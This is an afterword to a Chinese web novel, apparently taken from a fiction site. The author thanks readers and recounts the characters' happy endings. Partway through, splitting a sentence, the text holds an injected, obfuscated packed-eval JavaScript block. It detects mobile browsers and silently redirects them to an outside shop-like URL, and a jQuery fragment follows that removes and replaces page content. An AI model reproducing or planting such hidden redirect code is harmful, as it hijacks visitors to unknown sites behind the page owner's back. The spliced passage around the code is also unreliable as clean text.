献给读者——
现在是2026年2月13日23:47。
好久之前，我开始写这个故事。
那时候只有一个念头：有一个转学生，被系统定义为“错误”；有一个班长，会把牛肉夹进别人盘子里。
我不知道他们会走到哪里。
也不知道会有多少人，陪他们走完这二十一万字。
——
这写日子里
靳朕学会了说“生日快乐”。
孟萌存了17843条“非理性善意输入”。
陈熠回来了。
周湛出院了。
渊站在旧音乐厅门口，等沈悸冥来接他。
方迟把那句存了七年的话，亲口说了出来。
程渊晃着钥匙，有人陪他一起晃。
陆微睡了三十一年，林鹿鸣守了三十一年。
林小满吃到了糖醋里脊，洛知予画了六十七版地图。
江野的棒棒糖从草莓味换到原味，又换回来。
姜澄的手指再也没有裂开过。
许知微调了三十一年的饺子馅。
唐棠从十七岁拍到六十三岁。
刘金凤煮了三十一年的意面。
老张写了三十一年的值班日志。
——
他们都很幸福。
他们帅了一辈子。
——
而你。
你是靳朕那部旧手机里，没有署名的第2048条草稿。
你是孟萌口袋里，第17844张还没写日期的便签。
你是周湛那盆多肉，还没开出来的第十九朵花。
你是方迟钥匙串上，还没来得及系上去的那把备用钥匙。
你是渊和沈悸冥毕业照右下角，那行还没干透的「0713」。
你是陆微睡着时，林鹿鸣手里那根始终没有戳下去的羽毛。
——
你是这片海的，第2048个守望者。
——
这个故事写完了。
但他们还在那里。
靳朕和孟萌还会在食堂二号窗吃意面，钠含量0.31%，保质期无限。
陈熠还在等靳朕存满两万条“在乎”，然后说“分类算法我写好了”。
周湛和方迟还会在旧音乐厅台阶边看那盆多肉，等它开第十九朵花。
渊和沈悸冥还会站在行政楼三十二层的落地窗前，把一杯凉掉的咖啡倒进盆栽里。
程渊和方迟还会晃钥匙，咣当，哐啷，咣当。
陆微还会睡觉，林鹿鸣还会守着他，手里握着那根三十一年前没收的羽毛。
林小满还会在每周二四六去二号窗排队，洛知予还会画地图。
江野还会咬棒棒糖，姜澄还会测
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218671|197471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
pH值，许知微还会调馅，唐棠还会录像。
刘金凤还会煮面。
老张还会写日志。
——
门卫室的灯还亮着。
窗台上还有一串备用钥匙。
旧音乐厅的台阶边，还有一盆多肉。
食堂二号窗的档口牌，还写着「钠含量0.31%，保质期无限」。
——
他们还在那里。
等你随时回来看他们。
——
谢谢你读到最后一页。
谢谢你相信花会开。
谢谢你成为守望者。
——
灯开着。
钥匙在窗台上。
面在锅里。
——等你。
——
全文完。
——献给所有等过人的人。
——献给所有被人等过的人。
——献给那盆多肉。
——献给门卫室的窗台。
——献给二号窗的意面。
——献给那把晃了三十一年的钥匙。
——献给那些还没寄出、但一定会寄出的信。
——献给还在路上的人。
——献给还没回来的人。
——献给正在看这句话的你。
——灯开着。
——等你。